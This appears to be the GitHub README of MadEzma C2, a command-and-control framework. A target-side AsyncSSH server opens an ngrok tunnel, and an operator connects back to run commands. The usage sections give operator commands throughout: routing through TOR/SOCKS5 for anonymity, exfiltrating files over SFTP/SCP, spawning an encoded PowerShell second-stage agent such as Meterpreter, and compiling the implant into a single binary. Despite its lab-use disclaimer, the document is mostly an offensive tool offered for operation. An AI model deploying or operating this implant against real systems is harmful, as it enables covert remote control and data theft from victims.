Skip to content
EterNullSecPublic

About

Asynchronous SSH-based C2 framework for security research and lab simulations

Resources

Security policy

Stars

2 stars

Watchers

0 watching

Forks

Repository files navigation

MadEzma C2 poster

MadEzma C2

 __  __           _ _____
|  \/  | __ _  __| | ____|_____ __ ___   __ _
| |\/| |/ _` |/ _` |  _| |_  / '_ ` _ \ / _` |
| |  | | (_| | (_| | |___ / /| | | | | | (_| |
|_|  |_|\__,_|\__,_|_____/___|_| |_| |_|\__,_|

MadEzma C2 is a proof-of-concept Command & Control framework built on the powerful AsyncSSH Python library (asynchronous client/server implementation of the SSHv2 protocol) with pyngrok integration.

How it works

The scenario is simple: the target runs an AsyncSSH server locally and opens an ngrok TCP tunnel to the outside world, ready to receive commands. The operator queries the ngrok official API to retrieve the tunnel's public hostname and port, then connects back with the private SSH key and executes commands.

Because the transport is full SSHv2, you also get SFTP and SCP out of the box, which makes data exfiltration and file staging trivial. The operator connection can be routed through a SOCKS5 proxy (e.g. TOR) for additional anonymity.

Note

A free ngrok account only allows one tunnel at a time. With a paid plan, this framework could trivially become a bot-like C&C controlling multiple SSH instances. See ngrok pricing.

Setup

1. Generate the SSH keypair

python3 mcz_keys.py

This creates:

File Side Purpose
id_rsa operator private key used to connect to the target
id_rsa.pub target authorized key deployed with the server

2. Configure config.json

{
  "server": {
    "listen_host": "127.0.0.1",
    "listen_port": 8022,
    "pubkey_file": "id_rsa.pub"
  },
  "ngrok": {
    "auth_token": "INSERT_YOUR_AUTH_TOKEN",
    "api_key": "INSERT_YOUR_API_KEY"
  }
}
Field Where to find it
ngrok.auth_token ngrok dashboard
ngrok.api_key ngrok API keys

Every value can also be supplied through environment variables instead:

Variable Overrides
MADZMA_NGROK_TOKEN ngrok.auth_token
MADZMA_NGROK_API_KEY ngrok.api_key (commander side)
MADZMA_PUB_KEY inline authorized public key
MADZMA_LISTEN_HOST server.listen_host
MADZMA_LISTEN_PORT server.listen_port

3. Install dependencies

pip install -r requirements.txt

Usage

Target side — start the server (with ngrok tunnel)

python3 mcz_server.py

Local testing without ngrok:

python3 mcz_server.py --no-tunnel

Operator side — send commands

Send a command through the ngrok tunnel (auto-discovers host/port via the API):

python3 mcz_commander.py "whoami"

Route through a SOCKS5 proxy (e.g. TOR on localhost:9050):

python3 mcz_commander.py "ls -la" --proxy socks5://127.0.0.1:9050

Target a server directly (no ngrok — LAN or local testing):

python3 mcz_commander.py "whoami" --host 127.0.0.1 --port 8022

Spawn a second-stage agent (Powershell-Empire, Meterpreter, ...):

python3 mcz_commander.py "powershell.exe -e ABJe...dhYte"

List active tunnels

python3 mcz_endpoints.py

Advanced usage — SFTP and SCP

No valid username is needed, only the correct id_rsa.

Via the ngrok tunnel:

sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P NGROK_PORT source_file ddddd@NGROK_HOST:destination_path

Through a SOCKS5 proxy (using proxychains or a nc jump):

proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o "ProxyCommand=nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path

Compiling the server with Nuitka

pip install nuitka
python -m nuitka --standalone --onefile mcz_server.py

Project layout

MadEzmaC2/
├── mcz_server.py        # target-side AsyncSSH server (SFTP/SCP + ngrok tunnel)
├── mcz_commander.py     # operator-side command runner (proxy support)
├── mcz_endpoints.py     # list active ngrok tunnels
├── mcz_keys.py          # SSH keypair generator
├── config.json          # central configuration template
├── assets/
│   ├── banner.png       # project poster
│   └── IMG_2241.PNG     # poster source image
├── madezma/
│   └── banner.py        # ASCII branding + ANSI console helpers
└── requirements.txt

Disclaimer

This tool is intended for testing and educational purposes only. It should only be used on systems you own or have explicit authorization to test. Any unauthorized or illegal use is strictly prohibited. The author holds no responsibility for misuse or damage caused by this software.

Note that using ngrok for covert tunnels may violate the terms of service of ngrok or of the platforms you operate on — review and comply with applicable policies.

Credits

  • AsyncSSH — asynchronous SSHv2 implementation
  • pyngrok — ngrok tunnel management

Author: EterNullSec

About

Asynchronous SSH-based C2 framework for security research and lab simulations

Resources

Security policy

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages